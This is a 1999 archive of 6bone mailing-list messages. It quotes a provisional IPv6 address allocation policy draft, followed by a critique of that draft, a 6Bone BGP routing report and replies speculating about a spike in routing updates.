> is set significantly below the number of default-free routing table entries
> considered to be currently supportable. If the number of entries reaches
> that threshold, then allocation criteria are to be reviewed (see section
> 4.4).
> 
> 2.2.3 Efficient Address Usage
> 
> Although IPv6 address resources are abundant, the global Internet community
> must be careful to avoid repeating the problems that arose in relation to
> IPv4 addresses. Specifically, even though "conservation" of IPv6 addresses
> is not a significant concern, registries must implement policies and
> guidelines that prevent organizations from stockpiling addresses. IPv6
> addressing architecture allows considerable flexibility for end-users;
> however, all registries must avoid wasteful use of TLA and NLA address
> space by ensuring that allocations and assignments are made efficiently and
> based on demonstrated need.
> 
> 2.2.4 Registration
> 
> Every assignment and allocation of IPv6 Internet address space must be
> registered in a publicly accessible database. This is necessary to ensure
> uniqueness and to provide information for Internet trouble shooting at all
> levels. It also reflects the expectation of the Internet community that all
> custodians of public resources, such as public address space, should be
> identifiable. As is the case with IPv4 addresses, each of the Regional IRs
> will maintain a public database where all IPv6 allocations and assignments
> are entered.
> 
> 3. IPv6 TECHNICAL FRAMEWORK
> 
> 3.1 IPv6 Addressing Hierarchy
> 
> RFC 2374 specifies that aggregatable addresses are organized into a
> topological hierarchy, consisting of a public topology, a site topology,
> and interface identifiers. These in turn map to the following:
> 
> | 3|  13 | 8 |   24   |   16   |    64 bits                 |
> +--+-----+---+--------+--------+----------------------------+
> |FP| TLA |RES|   NLA  |  SLA   |   Interface ID             |
> |  | ID  |   |   ID   |  ID    |                            |
> +--+-----+---+--------+--------+----------------------------+
> |-- public topology---|  site  |     Interface              |
> |                     |topology|                            |
> +---------------------+--------+----------------------------+
> |                              |                            |
> |-------- network portion----->+<-----host portion----------|
> |                             /64                           |
> |-----------------------------------------------------------|
> 
> The public routing topology is represented by a /48, giving each site 16
> bits to create their local topology. The host portion is represented by the
> last 64 bits of the address.
> 
> Because all interface IDs are required to be in the EUI-64 format (as
> specified in RFC 2373 and RFC 2374) the boundary between the network and
> host portions is "hard" and ID address space cannot be further sub-divided.
> 
> Also, in order to facilitate multihoming and renumbering, the boundary
> between the public topology and the site topology division at the /48 is
> also hard. (RFC 2374 explains this more completely.)
> 
> 3.2 Initial IPv6 Addressing Hierarchy
> 
> A modified version of the addressing hierarchy described in section 3.1
> will be used for the initial IPv6 allocations. The first TLA prefix (TLA
> 0x0001) has been divided into further blocks, called "sub-TLAs", with a
> 13-bit sub-TLA identifier. Part of the reserved space and the NLA space
> have been used for this purpose.
> 
> This modified addressing hierarchy has the following format and prefix
> boundaries:
> 
> Format boundaries
> 
> | 3|    13    |    13   | 6 |   13   |   16   |     64 bits        |
> +--+----------+---------+---+--------+--------+--------------------+
> |FP|   TLA    | sub-TLA |Res|   NLA  |  SLA   |    Interface ID    |
> |  |    ID    |         |   |    ID  |   ID   |                    |
> +--+----------+---------+---+--------+--------+--------------------+
> 
> Prefix boundaries (starting at bit 0)
> 
>             number of the   number of the           ID
>             left-most       right-most       longest   length
>             bit             bit              prefix    (in bits)
>             ************    ************     *******   ********
> TLA ID       3                  15             /16        13
> sub-TLA ID   16                 28             /29        13
> Reserved     29                 34
> NLA ID       35                 47             /48        13
> SLA ID       48                 63             /64        16
> 
> For purposes of a "slow start" of a sub-TLA, the first allocation to a TLA
> Registry will be a /35 block (representing 13 bits of NLA space). The
> Regional IR making the allocation will reserve an additional six bits for
> the allocated sub-TLA. When the TLA Registry has fully used the first /35
> block, the Regional IR will use the reserved space to make subsequent
> allocations (see section 4.2.5).
> 
> All router interfaces are required to have at least one link-local unicast
> address or site-local address. It is recommended that site-local addresses
> be used for all point-to-point links, loopback addresses, and so forth. As
> these are not required to be visible outside the site's network, they do
> not require public address space. Any global unicast address space assigned
> must not be used for link-local or site-local purposes as there is address
> space reserved for these purposes. (Note that "all 1s" and "all 0s" are
> valid unless specifically excluded through reservation. See list of
> reserved addresses in RFC 2373.)
> 
> 4. ADDRESSING POLICIES
> 
> As described above, Regional IRs make IPv6 allocations to requesting
> organizations that qualify for a sub-TLA (TLA Registries). TLA Registries
> then allocate NLA space to ISPs that are their customers (NLA Registries).
> NLA Registries in turn assign SLA space to end-users. TLA Registries may
> also assign SLA space directly to end-users. TLA Registries and NLA
> Registries also use SLA space to address their own networks. This
> hierarchical structure of allocations and assignments is designed to
> maximize the aggregation of routing information.
> 
> 4.1 IPv6 Addresses not to be considered property
> 
> All allocations and assignments of IPv6 address space are made on the basis
> that the holder of the address space is not to be considered the "owner" of
> the address space, and that all such allocations and assignments always
> remain subject to the current policies and guidelines described in this
> document. Holders of address space may potentially be required, at some
> time in the future, to return their address space and renumber their
> networks in accordance with the consensus of the Internet community in
> ensuring that the goals of aggregation and efficiency continue to be met.
> 
> 4.1.1 Terms of allocations and assignments to be specified
> 
> At the time of making any allocation or assignment of IPv6 address space,
> Registries should specify the terms upon which the address space is to be
> held and the procedures for reviewing those terms in the future. Such terms
> and procedures should be consistent with the policies and guidelines
> described in this document.
> 
> 4.2 Allocations
> 
> In order to meet the goal of aggregation (section 2.2.2) Regional IRs will
> only allocate sub-TLA address space to organizations that meet the criteria
> specified in one or more of the following sections: 4.2.1 "General Criteria
> for Initial Sub-TLA Allocation" and 4.2.2 "Criteria for sub-TLA Allocations
> in Transitional 'Bootstrap' Phase".
> 
> The criteria for an initial allocation to an organization are different
> from the criteria that apply for subsequent allocations. Whereas the
> requirements for an initial allocation are based on technical
> considerations, requests for additional address space are evaluated solely
> on the basis of the usage rate of the initial allocation.
> 
> The following criteria for sub-TLA allocations reflect the intentions of
> the authors of the IPv6 addressing architecture (see RFC 2374, RFC 2373,
> and RFC 2950), namely that addressing policies must promote the goal of
> aggregation. The basis of these criteria is that it is primarily the
> organizations acting as transit providers or exchange points that will be
> involved in the top-level routing hierarchy and that other Service
> Providers should receive NLA address space from these organizations.
> 
> 4.2.1 General Criteria for Initial Sub-TLA Allocation
> 
> Subject to sections 4.2.2, and 4.2.3, Regional IRs will only make an
> initial allocation of sub-TLA address space to organizations that meet
> criterion (a) AND at least one part of criterion (b), as follows:
> 
> a. The requesting organization's IPv6 network must have exterior routing
> protocol peering relationships with the IPv6 networks of at least three
> other organizations that have a sub-TLA allocated to them.
> 
> AND either
> 
> b(i). The requesting organization must have reassigned IPv6 addresses
> received from its upstream provider or providers to 40 SLA customer sites
> with routed networks connected by permanent or semi-permanent links.
> 
> OR
> 
> b(ii). The requesting organization must demonstrate a clear intent to
> provide IPv6 service within 12 months after receiving allocated address
> space. This must be substantiated by such documents as an engineering plan
> or deployment plan.
> 
> 4.2.2 Criteria for sub-TLA Allocations in Transitional "Bootstrap" Phase
> 
> By requiring exterior routing protocol peering relationships with at least
> three other IPv6 networks, section 4.2.1 creates a problem during the
> initial period of transition to IPv6 network addressing, namely that too
> few organizations will meet the general criteria during this phase
> (referred to as the "bootstrap phase"). The criteria in this section
> provide an interim mechanism for eligibility that will only apply during
> the bootstrap phase, that is until the number of organizations operating
> IPv6 networks is considered sufficient for the general criteria to operate.
> (See section 4.2.2.1 "Duration of Bootstrap Phase".)
> 
> Notwithstanding section 4.2.1, during the bootstrap phase, Regional IRs
> will make an initial allocation of sub-TLA address space to organizations
> that meet criterion (a) AND criterion (b) AND either criterion (c) OR
> criterion (d).
> 
> a. The requesting organization's network must have exterior routing
> protocol peering relationships with at least three other public Autonomous
> Systems in the default-free zone.
> 
> AND
> 
> b. The requesting organization must show that it plans to provide
> production IPv6 service within 12 months after receiving allocated address
> space. This must be substantiated by such documents as an engineering plan
> or a deployment plan.
> 
> AND either
> 
> c. The requesting organization must be an IPv4 transit provider and must
> show that it already has issued IPv4 address space to 40 customer sites
> that can meet the criteria for a /48 IPv6 assignment. In this case, the
> organization must have an up-to-date routing policy registered in one of
> the databases of the Internet Routing Registry, which the Regional IR may
> verify by checking the routing table information on one of the public
> looking glass sites).
> 
> OR d. The requesting organization must demonstrate that it has experience
> with IPv6 through active participation in the 6bone project for at least
> six months, during which time it operated a pseudo-TLA (pTLA) for at least
> three months. The Regional IRs may require documentation of acceptable
> 6Bone routing policies and practice from the requesting organization.
> 
> 4.2.2.1 Duration of Bootstrap Phase
> 
> The eligibility criteria in this section will only apply until 100
> requesting organizations have received allocations of sub-TLA address
> space, provided that no more than 60 of these organizations are located in
> one Regional IR's region. After this threshold has been reached, the
> bootstrap phase will be considered to be over and Regional IRs will only
> make allocations to organizations that meet the general criteria in section
> 4.2.1.
> 
> If 60 organizations have been allocated sub-TLAs within one region (but
> less than 100 have been allocated worldwide) then the bootstrap phase
> within that region will be considered to be over. Additional applications
> from that region must satisfy the general criteria in section 4.2.1, while
> applications from other regions need only satisfy the bootstrap criteria.
> 
> When 100 sub-TLA registries are formed worldwide, there will be enough
> choices for new prospective sub-TLAs to find others to connect to and the
> bootstrap phase can end. The regional limitation on bootstrapping is
> intended to prevent one region consuming all available bootstrap
> opportunities before IPv6 deployment has started in other regions.
> 
> 4.2.3 Special considerations
> 
> 4.2.3.1 Exchange Points
> 
> It is expected that some exchange points will play a new role in IPv6, by
> acting as a sub-TLA registry for ISPs that connect to the exchange point.
> Because there is little information available about such exchange points
> and how they will operate, they have not been considered during development
> of sub-TLA eligibility criteria. As these exchange points are established,
> the Regional IRs will evaluate whether special criteria are required. It is
> expected that the Regional IRs will request from the exchange point
> information about the nature of the contracts they enter with the ISPs
> seeking IPv6 service.
> 
> 4.2.3.2 Multihomed Sites
> 
> [to be written]
> 
> 4.2.4 Size for Initial Allocation: "Slow-Start" Mechanism
> 
> Regional IRs will adopt a "slow start" mechanism when making initial
> allocations of sub-TLA space to eligible organizations. By this mechanism,
> the initial allocation will allow 13 bits worth of NLA IDs to be used by
> the organization unless the requesting organization submits documentation
> to the Regional IR to justify an exception based on topological grounds.
> This initial allocation allows the organization to create a hierarchy
> within the allocation depending on their customer type (ISP or end-site)
> and the topology of their own network. For example, an organization may
> receive 8,192 SLAs (a /48 each). (See section 4.3 for policies relating to
> assignments.)
> 
> The slow-start mechanism for sub-TLA allocations is important to the
> development of IPv6 addressing hierarchies for several reasons. One
> significant reason is that it allows the Regional IRs to set relatively low
> entrance criteria for organizations seeking a sub-TLA allocation. This
> makes the process fair to all organizations requesting sub-TLA space by
> giving everybody the same (relatively small) amount and basing future
> allocations on track record. Furthermore, the effect of this process will
> be to create a range of different prefix lengths which, in the event that
> routing table growth requires it, will allow the ISP industry to make
> rational decisions about which routes to filter.
> 
> Another important reason for adopting the slow-start mechanism is to allow
> Regional IRs to maintain contact with TLA Registries as they develop,
> thereby providing a level of support and training that will help ensure
> that policies and practices are implemented consistently. Without a slow
> start mechanism, TLA Registries receiving large initial allocations may not
> have formal contact with the Regional IR for several years. The slow-start
> mechanism helps Regional IRs to meet the goals of registration and
> efficiency, by providing a process that enables them to monitor whether the
> TLA Registries are properly registering assignments in the database and
> correctly applying the policies for NLA and SLA assignments contained in
> this document.
> 
> 4.2.5 Criteria for Subsequent Sub-TLA Allocations
> 
> Regional IRs will not make subsequent allocations of sub-TLA address space
> to a TLA Registry unless the TLA Registry has used at least 80 percent of
> its previously allocated address space. In this context, address space is
> considered to be "used" if the TLA Registry has made all of its allocations
> and assignments of that address space to its own infrastructure or customer
> needs in accordance with the policies and guidelines specified in this
> document.
> 
> The size of subsequent allocations depend on the demonstrated usage rate of
> the previous allocations.
> 
> 4.2.5.1 Contiguous allocations
> 
> The subsequent allocation will be contiguous with the previously allocated
> range to allow for aggregation of routing information. When a Regional IR
> makes an initial allocation to TLA Registry, it will reserve the full
> sub-TLA from which this allocation was made. Subsequent allocations to that
> TLA Registry will be made from the reserved sub-TLA. If no further growth
> is possible within that sub-TLA range, the Regional IR may allocate a full
> TLA. (Note, this practice may eventually lead to a situation in which no
> empty sub-TLAs are available, but the existing sub-TLAs are not fully
> utilised. If this occurs, then the provisions of section 4.4 will apply.)
> 
> 4.2.6 Registering and Verifying Usage
> 
> Each TLA Registry is responsible for the usage of the sub-TLA address space
> it receives and must register all end-site assignments and ISP allocations
> in the database of the Regional IR in its region. The Regional IR may
> verify whether all assignments are registered in the database. In addition
> to the database entries, the Regional IR may ask for periodic reports
> specifying how the addresses are being used.
> 
> Registered end-sites must be connected and reachable. To verify this, the
> relevant Regional IR is entitled to ping /48s within end-sites. Filtering
> holes should be negotiated by the Regional IR and the organization holding
> the addresses in question. Therefore, it is suggested that end-sites use
> anycast cluster addresses on their border routers to enable this. It is
> expected that one /48 SLA block is enough address space per end-site. If an
> end-site requests an additional SLA, the TLA Registry must send the request
> to the Regional IR for a second opinion.
> 
> 4.2.7 Renumbering
> 
> It is possible that circumstances could arise whereby sub-TLA address space
> becomes scarce. This could occur, for example, due to inefficient use of
> assigned address space, or to an increase in the number of organizations
> holding both TLA and sub-TLA space.
> 
> If such circumstances arise, it may be necessary for Regional IRs to
> require that previously allocated address space be renumbered into
> different ranges.
> 
> If a Regional IR requires a TLA Registry to renumber its own network, this
> will also have an impact on all of its customers' networks. Therefore, it
> is recommended that TLA Registries and NLA Registries enter contractual
> arrangements with their customers at the time of the first allocation or
> assignment. Such arrangements should clarify that the address space might
> have to be returned, requiring all end-sites to be renumbered. If
> renumbering is required, then TLA Registries should inform their customers
> as soon as possible.
> 
> Regional IRs requiring a TLA Registry to renumber will allow that Registry
> at least 12 months to return the sub-TLA space. [Note that the granted
> renumbering time may depend on the prefix length returned. The draft
> document
> <http://search.ietf.org/internet-drafts/draft-ietf-ipngwg-router-renum-08.txt>
> describes the issues involved in and methods used for renumbering IPv6
> networks.]
> 
> [Note that site-local addresses are not affected by renumbering the global
> unicast IPv6 addresses.]
> 
> 4.2.8 Allocations to NLA Registries
> 
> TLA Registries with ISP customers may use their 13 bits of NLA address
> space to create an addressing hierarchy for those ISPs. Each of the TLA
> Registry's own end-user organizations would receive a /48 (see section
> 4.3); however, the ISP customers (NLA Registries) could be "allocated"
> additional bits in order to aggregate the ISP's customers internally. A
> slow-start mechanism will be used for these NLA allocations.
> 
> The NLA block is an allocation to the NLA Registry and not an assignment.
> If the NLA Registry does not sufficiently use it within a reasonable time,
> the TLA Registry may require it to be returned. Definitions of 'sufficient
> use' and 'reasonable time' will be provided in a future version of this
> policy document. These definitions will be influenced by IPv6 operational
> experience and determined by the Regional IR's with the consensus of the
> Internet registry and engineering communities.
> 
> Once an NLA Registry has assigned at least 80 percent of its allocation, it
> may request an additional block from the TLA Registry. This block can be
> any size, depending on the NLA Registry's usage rate for its first block. A
> TLA Registry receiving a request for subsequent NLA allocations must submit
> the request to the relevant Regional IR for a second opinion.
> 
> Each NLA allocation must be registered in the Regional IR's database. All
> end-user assignments must also be registered in the Regional IR's database.
> The same procedures for these end-user assignments apply for the end-user
> assignments made by the TLA Registry to their customers directly.
> Ultimately, the TLA Registry is responsible for management of all address
> space it allocates and should, therefore, appropriately monitor all
> assignments made by the NLA Registries to which it allocates. The Regional
> IR can at any time ask for additional information about the allocations and
> assignments being made.
> 
> 4.3 Assignments
> 
> 4.3.1 Assignments to End-users
> 
> The minimum assignment to end-user organizations that have a need to create
> subnets in their network is a /48 (80 bits of address space). Within this
> /48, 16 bits are an SLA block used for subnetting and further 64 bits are
> used per interface.
> 
> TLA Registries must submit all requests they receive for additional
> assignments to the relevant Regional IR for evaluation (a "second
> opinion"). All such requests must document the full use of the initial SLA
> and must be accompanied by an engineering plan justifying the need for
> additional address space.
> 
> Dial-up lines are considered part of an ISP's infrastructure and,
> therefore, addresses for such purposes should be assigned from the SLA
> block of that ISP. It is expected that longer prefixes be used for
> non-permanent, single-user connections.
> 
> 4.4 Reclamation Methods/Conditions
> 
> Allocations are valid only as long as the organizations holding the address
> space continue to meet the criteria for allocations set out in sections
> 4.2.1, 4.2.2, and other criteria which may be specified subject to the
> provisions of this section. Consistent with the goal of aggregation
> described in section 2.2.2, the criteria for allocations may be reviewed
> with regard to current routing technology. The current threshold point for
> reviewing the allocation criteria is 4096 default-free entries in the
> global routing table.
> 
> If this threshold is reached and current routing technology then allows
> additional route entries, the number of possible TLAs and sub-TLAs may be
> increased accordingly.
> 
> However, if the limit is reached and routing technology at that time is not
> able to support additional routing entries, Regional IRs will review all
> allocations made up to that point. In the course of this review, the
> Regional IRs may seek consensus of the Internet registry and engineering
> communities to set minimum acceptable usage rates or new criteria
> determining eligibility to hold sub-TLA space. Dependent upon such a
> consensus, the Regional IRs may revoke the sub-TLA allocations of any
> Registry not complying with those rates or criteria. Such Registries will
> be required by the relevant Regional IR to renumber their networks and
> return their previous allocation within a reasonable time.
> 
> During the period that routing technology is being investigated, the
> Regional IRs will continue allocating address space even if the number of
> "possible" routes are reached.
> 
> 5. ORGANIZATIONS OPERATING IN MORE THAN ONE REGION
> 
> Organizations requesting sub-TLA space that operate in more than one
> region, and that need separate sub-TLA blocks for routing purposes, may
> request the address space from more than one of the Regional IRs, provided
> that the organization's networks meet the criteria for allocation of
> sub-TLA address space in each of the relevant regions.
> 
> 6. DNS AND REVERSE ADDRESS MAPPING
> 
> [To be written..]
> 
> 7. GLOSSARY
> 
> Allocation - The provision of IP address space to ISPs that reassign their
> address space to customers.
> 
> Assignment - The provision of IP address space to end-user organizations.
> 
> Default-free zone - The default-free zone is made up of Internet routers
> which have explicit routing information about the rest of the Internet and,
> therefore, do not need to use a default route.
> 
> End-user - An organization receiving reassignments of IPv6 addresses
> exclusively for use in operational networks.
> 
> Exterior routing protocol peering relationships - Routing relationships in
> which the organisations receive the full Internet routing table separately
> from neighbouring Autonomous Systems and are, therefore, able to use that
> routing table to make informed decisions about where to send IP packets.
> 
> Interface Identifiers - A 64-bit IPv6 unicast address identifier that
> identifies an interface on a link.
> 
> NLA ID - Next-Level Aggregation Identifier.
> 
> NLA Registry - Internet Service Providers receiving IPv6 address
> allocations from a TLA Registry.
> 
> Public Topology - The collection of providers and exchanges who provide
> public Internet transit service.
> 
> Regional Internet Registries - Organizations operating in large
> geographical regions such as continents which are responsible for fair
> distribution of globally unique Internet address space and for documenting
> address space allocation and assignment.
> 
> Site - A location, physical or virtual, with a network backbone connecting
> various network equipment and systems together. There is no limit to the
> physical size or scope of a site.
> 
> Site Topology - A local, specific site or organization which does not
> provide public transit service to nodes outside the site.
> 
> SLA ID - Site-Level Aggregation Identifier.
> 
> Slow Start - The efficient means by which addresses are allocated to TLA
> Registries and to NLA ISPs. This method involves issuing small address
> blocks until the provider can show an immediate requirement for larger
> blocks.
> 
> TLA ID - Top-Level Aggregation Identifier.
> 
> TLA Registry - Organizations receiving TLA/sub-TLA ID from Regional IRs to
> reassign to customers.
> 
> Unicast - An identifier for a single interface. A packet sent to a unicast
> address is delivered to the interface identified by that address. Note that
> the definition of an IPv4 host is different from an IPv6 identifier. One
> physical host may have many interfaces, and therefore many IPv6
> identifiers.
> 
> 8. LIST OF REFERENCES
> 
> ------ =_NextPart_000_01BEA929.E5CD8FC0--
> 
> 
> 
> 


-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Fri May 28 10:14:35 1999
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Subject: BOUNCE 6bone@zephyipv6 delegation plan commetns
To: 6bone@ISI.EDU
Date: Fri, 28 May 1999 10:14:29 -0700 (PDT)
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> Subject: Re: v6 message to IANA - followup
> To: 6bone@ISI.EDU
> Date: Fri, 28 May 1999 09:31:11 -0700 (PDT)
> 
>  > PROVISIONAL IPv6 ASSIGNMENT AND ALLOCATION POLICY DOCUMENT
>  > (28 May 1999)
>  > Scheduled revision: Formal revision of this document is scheduled to be
>  > commenced by 1 October 1999.
>  > 
>  ....
>  > Prefix boundaries (starting at bit 0)
>  > 
>  >             number of the   number of the           ID
>  >             left-most       right-most       longest   length
>  >             bit             bit              prefix    (in bits)
>  >             ************    ************     *******   ********
>  > TLA ID       3                  15             /16        13
>  > sub-TLA ID   16                 28             /29        13
>  > Reserved     29                 34
>  > NLA ID       35                 47             /48        13
>  > SLA ID       48                 63             /64        16
>  > 
>  > For purposes of a "slow start" of a sub-TLA, the first allocation to a TLA
>  > Registry will be a /35 block (representing 13 bits of NLA space). The
>  > Regional IR making the allocation will reserve an additional six bits for
>  > the allocated sub-TLA. When the TLA Registry has fully used the first /35
>  > block, the Regional IR will use the reserved space to make subsequent
>  > allocations (see section 4.2.5).
>  
>  This will pose a problem with most all existing DNS code.  DNS code 
>  tends to follow octect or nibble alignment.  Bit alignment is proposed
>  but not developed.  Widescale deployment is not expected within the
>  next 18 months. Use of this delegation framework will inhibit the use
>  of DNS with IPv6. (see the recent 6bone discussion on subTLA assingment
>  policy. 05may1999 posting from Bob Fink)).
>  
>  
>  > 4.2.6 Registering and Verifying Usage
>  > 
>  > Each TLA Registry is responsible for the usage of the sub-TLA address space
>  > it receives and must register all end-site assignments and ISP allocations
>  > in the database of the Regional IR in its region. 
>  
>  	So a distributed service aka, rwhois or DNS is not acceptable
>  	as a registration service?  To me, this insistence on centralized
>  	databases will be a significant hurdle in growing the Internet
>  	two more orders of magnitude.
>  
>  > Registered end-sites must be connected and reachable. To verify this, the
>  > relevant Regional IR is entitled to ping /48s within end-sites. 
>  
>  	Again, this indicates a lack of vision for future Internet
>  	developments.  There is significant developmental work being
>  	done for loosely coupled networks, e.g. networks that are
>  	only "attached" to the rest of the Internet sporadically.
>  
>  > 6. DNS AND REVERSE ADDRESS MAPPING
>  > 
>  > [To be written..]
>  > 
>  	See my comments above on why 13 bits are wrong.
>  
>  	
>  While I don't expect my comments to be persuasive to the RIR juggernaut,
>  I feel they should be heard. If others feel they are relevent, then
>  perhaps they can try and persuade these folks that they are promoting
>  seriously flawed policies.
>  
> --bill 
> 


-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Sun May 30 15:28:53 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: 6bone problems
Date: Sun, 30 May 1999 15:28:10 -0700
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In the last several days the BGP traffic has skyrocketed... does anybody
know what's up?

-----Original Message-----
From: owner-6bone-routing-report@merit.edu
[mailto:owner-6bone-routing-report@merit.edu] 
Sent: Saturday, May 29, 1999 11:18 PM
To: 6bone-routing-report@merit.edu
Subject: 05/29/99 6Bone Routing Report


See http://www.merit.edu/ipma for a more detailed report on routing 
problems and recommendations on ways service providers can limit the 
spread of invalid routing information.
Send comments and questions to ipma-support@merit.edu

To unsubscribe from this list, send mail to 
    6bone-routing-report-request@merit.edu.
A hypermail archive is available at
    http://www.merit.net/mail.archives/html/6bone-routing-report/

Also see http://www.caida.org for more information about Internet 
statistics collection research efforts.

---------------------------------------------
This report is for 05/29/99, peering with
  VIAGENIE (AS10566)  CISCO (AS109)  IDIR (AS11264)  CICNET (AS1225)  MERIT
(AS237)  WIDE (AS2500)  ETRI (AS3559)  EWD-3COM (AS561)  UUNET-US (AS704)
CAIRN (AS7081)  NUS-IRDU (AS7610)
---------------------------------------------

Size of 6Bone Routing Table:
	Max = 179, Min = 177, Average = 177
	59 Unique Autonomous System (AS) numbers

BGP4+ Traffic Summary:  
	Announcements = 569211    Withdraws = 200295   Unique Routes = 70

Non-6Bone Prefixes (outside of 3ffe::/16):
--------------------------------
  0000::/0 path 1225 48 1752 5408 559 137 1275 (JOIN)
  1800::/4 path 1225 48 1752 5408 559 137 1275 (JOIN)
  5f01:7800::/32 path 1225 (CICNET)
  5f0b:4f00::/32 path 109 2895 (INR)
  5f0d:e900:ce9c:9400::/64 path 1225 (CICNET)

Poorly Aggregated Prefixes (>24):
--------------------------------
  VIAGENIE (3ffe:b00::/24) had 5 route(s)
    3ffe:b00:c18:2::2/127 path 7081 6509 10566 (VIAGENIE)
    3ffe:b00:c18::b/127 path 7081 6509 10566 (VIAGENIE)
    3ffe:b00:800:1::/64 path 7081 6509 10566 (VIAGENIE)
    3ffe:b00:c18:2::/64 path 7081 6509 10566 (VIAGENIE)
    3ffe:b00:c18::/48 path 7081 6509 10566 (VIAGENIE)

  UUNET-UK (3ffe:1100::/24) had 2 route(s)
    3ffe:1108:40a::/48 path 1225 1275 8319 5539 (SPACENET-DE)
    3ffe:1108:1400::/40 path 704 (UUNET-US)

  CICNET (3ffe:900::/24) had 2 route(s)
    3ffe:900:1::/48 path 1225 1312 (LORE/VT)
    3ffe:900:2::/48 path 1225 3899 (CHICO)

  SMS (3ffe:2600::/24) had 2 route(s)
    3ffe:2610:2::/48 path 1225 1103 3274 8432 (TF-INET-DEV)
    3ffe:2620::/32 path 1225 1103 3274 1741 (FUNET/OTOL)

  VBNS (3ffe:2800::/24) had 1 route(s)
    3ffe:2802::/32 path 1225 1312 (LORE/VT)

  SPRINT (3ffe:2900::/24) had 1 route(s)
    3ffe:2900:5::/48 path 1225 1312 (LORE/VT)

  SWITCH (3ffe:2000::/24) had 1 route(s)
    3ffe:202a:1::/64 path 1225 1275 559 1836 (SIMULTAN)

  JANET (3ffe:2100::/24) had 1 route(s)
    3ffe:2101::/48 path 1225 48 1752 3185 (ULANC)

  MERIT (3ffe:1c00::/24) had 1 route(s)
    3ffe:1cee::/48 path 11264 (IDIR)

  INFN-CNAF (3ffe:2300::/24) had 1 route(s)
    3ffe:23f0::/28 path 1225 1275 559 137 8253 (DUTHNET)

  UNI-C (3ffe:1400::/24) had 1 route(s)
    3ffe:1402:1:1::/64 path 7610 1849 5539 1273 (ECRC)

  GRNET (3ffe:2d00::/24) had 1 route(s)
    3ffe:2d00:3::/48 path 1225 1849 1752 5408 8643 (UOA)

  INR (3ffe:2400::/24) had 1 route(s)
    3ffe:2401::/32 path 109 2895 2118 (STC-IPNG)

  JOIN (3ffe:400::/24) had 1 route(s)
    3ffe:400:1c0::/48 path 1225 48 8319 (REGIO-DE)

The Top Five Most Active Prefixes:
----------------------------------
1.  (1800::/4) had 215895 BGP+ updates (10 unique aspaths)
  237 1225 2547 559 137 1275 (33095)
  237 1225 48 1752 5408 559 137 1275 (21866)
  1225 2547 559 137 1275 (14764)
  237 1225 48 3251 1930 559 137 1275 (14578)
  1225 48 1752 5408 559 137 1275 (9734)
  1225 48 3251 1930 559 137 1275 (6491)
  237 1225 33 5609 48 (2131)
  237 1225 48 1752 3185 786 2547 2547 559 137 1275 (1067)
  1225 33 5609 48 (948)
  1225 48 1752 3185 786 2547 2547 559 137 1275 (476)

2.  (0000::/0) had 177374 BGP+ updates (10 unique aspaths)
  237 1225 2547 559 137 1275 (26850)
  237 1225 48 1752 5408 559 137 1275 (21442)
  1225 2547 559 137 1275 (11978)
  237 1225 48 3251 1930 559 137 1275 (10743)
  1225 48 1752 5408 559 137 1275 (9554)
  1225 48 3251 1930 559 137 1275 (4790)
  237 1225 33 5609 48 (2131)
  1225 33 5609 48 (948)
  237 1225 48 1752 3185 786 2547 2547 559 137 1275 (476)
  1225 48 1752 3185 786 2547 2547 559 137 1275 (212)

3. SIMULTAN (3ffe:202a:1::/64) had 95756 BGP+ updates (9 unique aspaths)
  237 1225 1275 559 1836 (26636)
  237 1225 2547 559 1836 (26636)
  10566 10566 10566 10566 1930 559 1836 (18440)
  1225 2547 559 1836 (12051)
  1225 1275 559 1836 (11855)
  10566 10566 10566 10566 3462 3263 1275 559 1836 (78)
  237 109 1225 1275 559 1836 (8)
  109 1225 1275 559 1836 (3)
  561 5609 1225 1275 559 1836 (1)

4. SWISSCOM (3ffe:1e00::/24) had 93998 BGP+ updates (11 unique aspaths)
  237 1225 2547 559 3303 (27248)
  237 1225 1275 559 3303 (27221)
  10566 10566 10566 10566 1930 559 3303 (14918)
  1225 2547 559 3303 (12302)
  1225 1275 559 3303 (12113)
  10566 10566 10566 10566 6175 137 559 3303 (153)
  2500 33 1849 5623 559 3303 (13)
  237 109 5409 559 3303 (9)
  109 5409 559 3303 (3)
  561 5609 1225 1275 559 3303 (1)
  561 6175 137 559 3303 (1)

5. SWITCH (3ffe:2000::/24) had 92010 BGP+ updates (11 unique aspaths)
  237 1225 2547 559 (26636)
  237 1225 1275 559 (26609)
  10566 10566 10566 10566 1930 559 (14676)
  1225 2547 559 (12051)
  1225 1275 559 (11841)
  10566 10566 10566 10566 6175 137 559 (153)
  2500 33 1849 5409 559 (13)
  237 109 5409 559 (9)
  109 5409 559 (3)
  561 5609 1225 1275 559 (1)
  561 6175 137 559 (1)


From 6bone-owner  Sun May 30 18:19:19 1999
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Date: Sun, 30 May 1999 18:19:03 -0700
To: Richard Draves <richdr@microsoft.com>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone problems
Cc: Robert Rockell <rrockell@sprint.net>, "'6bone'" <6bone@ISI.EDU>
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Rich,

At 03:28 PM 5/30/99 -0700, Richard Draves wrote:
>In the last several days the BGP traffic has skyrocketed... does anybody
>know what's up?

Rob Rockell had speculated to me that it looked as if someone was not filtering their downstreams, and one of their 
leaf-nodes descided to advertise default. He was looking into it, but also noted that he didn't see it in his (Sprint's) routing table due to his agressive filtering (one of those things we hope to harden on the 6bone!).

Maybe Rob can comment (I've cc'd him here).


Bob





From 6bone-owner  Sun May 30 20:46:19 1999
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From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'Richard Draves'" <richdr@microsoft.com>,
        "'6bone@isi.edu'"
	 <6bone@ISI.EDU>
Subject: RE: 6bone problems
Date: Sun, 30 May 1999 23:42:08 -0400
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Hello from Gregg Levine usually at Jedi Knight Computers
I have not been paying, my usual amounts of attention to the traffic, but I 
would hazard a guess that more people are testing their installed setups. 
Its just a guess though.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
This signature supports the Alliance to restore the Republic
"They were in the wrong place at the wrong time. Naturally they became 
heroes"
Princess Leia Organa of Alderaan, Senator
"The Force will be with you."
General Obi-Wan Kenobi Jedi Knight, Retired

On Sunday, May 30, 1999 6:28 PM, Richard Draves [SMTP:richdr@microsoft.com] 
wrote:
| In the last several days the BGP traffic has skyrocketed... does anybody
| know what's up?
|
| -----Original Message-----
| From: owner-6bone-routing-report@merit.edu
| [mailto:owner-6bone-routing-report@merit.edu]
| Sent: Saturday, May 29, 1999 11:18 PM
